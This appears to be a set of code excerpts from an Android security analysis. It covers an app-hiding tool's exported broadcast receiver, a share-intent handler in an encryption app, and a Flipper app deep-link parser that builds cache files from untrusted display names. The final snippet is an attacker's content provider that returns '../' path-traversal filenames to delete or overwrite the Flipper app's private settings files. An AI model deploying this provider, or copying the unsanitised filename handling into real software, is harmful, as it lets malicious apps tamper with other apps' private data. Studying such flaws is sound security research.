1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

public class MainActivity extends AppCompatActivity {
	...
    @Override
    protected void onCreate(Bundle savedInstanceState) {
		...
        // Launch disguise activity if needed
        var activityLauncher = BetterActivityLauncher.registerActivityForResult(this);
        if (prefMgr.getEnableDisguise()) {
            activityLauncher.launch(new Intent(this, CalendarActivity.class), result -> {
                if (result.getResultCode() == Activity.RESULT_OK) {
                    new SecurityAuth(this, succeed -> {
                        if (succeed) init();
                        else finish();
                    }).authenticate();
                } else {
                    finish();
                }
            });
        } else {
            // Show security check fragment
            new SecurityAuth(this, succeed -> {
                if (succeed) init();
                else finish();
            }).authenticate();
        }
    }
    ...
}
...
public class SecurityAuth {
	...
    public void authenticate() {
        if (passwordAuthFragment.isAdded())
            passwordAuthFragment.dismiss();
        if (prefMgr.getAmarokPassword() != null) {
            if (prefMgr.getEnableAmarokBiometricAuth()) biometricAuthenticate();
            else passwordAuthenticate();
        } else {
            callback.onSecurityAuthCallback(true);
        }
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

public class ActionReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Log.i("ActionReceiver", "New action received.");
        Hider hider = new Hider(context);

        if (Boolean.TRUE.equals(Hider.isProcessing.getValue())) {
            Log.w("ActionReceiver", "Already processing. Ignore the new action.");
            return;
        }

        if (Objects.equals(intent.getAction(), "deltazero.amarok.HIDE")) {
            hider.hide();
        } else if (Objects.equals(intent.getAction(), "deltazero.amarok.UNHIDE")) {
            hider.unhide();
        } else {
            Log.w("ActionReceiver", "Invalid action: " + intent.getAction());
            Toast.makeText(context, context.getString(R.string.invalid_action, intent.getAction()),
                    Toast.LENGTH_LONG).show();
        }
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

public class EncryptTextActivity extends EncryptActivity {
	...

        // When sending to OpenKeychain Encrypt via share menu
        if (Intent.ACTION_SEND.equals(action) && type != null) {
            // When sending to OpenKeychain Encrypt via share menu
            if ( ! MimeUtil.isSameMimeType("text/plain", type)) {
                Toast.makeText(this, R.string.toast_wrong_mimetype, Toast.LENGTH_LONG).show();
                finish();
                return;
            }

            String sharedText;
            if (extras.containsKey(Intent.EXTRA_TEXT)) {
                sharedText = extras.getString(Intent.EXTRA_TEXT);
            } else  if (extras.containsKey(Intent.EXTRA_STREAM)) {
                try {
                    sharedText = FileHelper.readTextFromUri(this, extras.getParcelable(Intent.EXTRA_STREAM), null);
                } catch (IOException e) {
                    Toast.makeText(this, R.string.error_preparing_data, Toast.LENGTH_LONG).show();
                    finish();
                    return;
                }
            } else { ... }
            
            if (sharedText != null) {
                if (sharedText.length() > Constants.TEXT_LENGTH_LIMIT) {
                    sharedText = sharedText.substring(0, Constants.TEXT_LENGTH_LIMIT);
                    Notify.create(this, R.string.snack_shared_text_too_long, Style.WARN).show();
                }
                // handle like normal text encryption, override action and extras to later
                // executeServiceMethod ACTION_ENCRYPT_TEXT in main actions
                textData = sharedText;
            }

        }

        // Android 6, PROCESS_TEXT Intent
        if (Intent.ACTION_PROCESS_TEXT.equals(action) && type != null) {
			...
        }
        ...
    }
    ...
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

class DeepLinkFileUriCopy @Inject constructor() : DeepLinkParserDelegate, LogTagProvider {
	...

    // Fallback if DeepLinkFileUriGrantPermission failed: copy from uri to tmp file
    override suspend fun fromIntent(context: Context, intent: Intent): Deeplink? {
        val uri = intent.data ?: return null

        val contentResolver = context.contentResolver

        return Deeplink.RootLevel.SaveKey.ExternalContent(
            content = buildInternalFile(
                contentResolver,
                context.cacheDir,
                uri
            )
        )
    }

    private suspend fun buildInternalFile(
        contentResolver: ContentResolver,
        cacheDir: File,
        uri: Uri
    ): DeeplinkContent? = withContext(Dispatchers.IO) {
        val filename = uri.filename(contentResolver) ?: System.currentTimeMillis().toString()
        val temporaryFile = File(cacheDir, filename)
        if (temporaryFile.exists()) {
            temporaryFile.delete()
        }
        val exception = runCatching {
            contentResolver.openInputStream(uri).use { inputStream ->
                temporaryFile.outputStream().use { outputStream ->
                    inputStream?.copyTo(outputStream)
                }
            }
        }.exceptionOrNull()
        ...
        return@withContext DeeplinkContent.InternalStorageFile(temporaryFile.absolutePath)
    }
}
...
fun Uri.filename(contentResolver: ContentResolver): String? {
    val nameFromResolver: String? = if (scheme == ContentResolver.SCHEME_CONTENT) {
        runCatching {
            contentResolver.query(this, null, null, null, null).use {
                val cursor = it ?: return@use null
                cursor.moveToFirst()
                val columnIndex = cursor.getColumnIndex(OpenableColumns.DISPLAY_NAME)
                if (columnIndex == -1) {
                    return@use null
                }
                return@use cursor.getString(columnIndex)
            }
        }.getOrNull()
    } else {
        null
    }
	...
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

public class AttackProvider extends ContentProvider {
    public AttackProvider() {
    }

    @Override
    public Cursor query(Uri uri, String[] projection, String selection,
                        String[] selectionArgs, String sortOrder) {
		...
        // depending whether we want to delete or write a file return something else
        if(uri.getLastPathSegment().equals("delete")) {
            cursor.addRow(new Object[]{
                    "../../../../../../../../../../data/data/com.flipperdevices.app/files/datastore/pair_settings.pb", 1337
            });
        } else {
            cursor.addRow(new Object[]{
                    "../../../../../../../../../../data/data/com.flipperdevices.app/files/datastore/hextree.io", 1337
            });
        }

        return cursor;
    }

    @Override
    public ParcelFileDescriptor openFile(Uri uri, @NonNull String mode) throws FileNotFoundException {
	    ...
    }
	...
}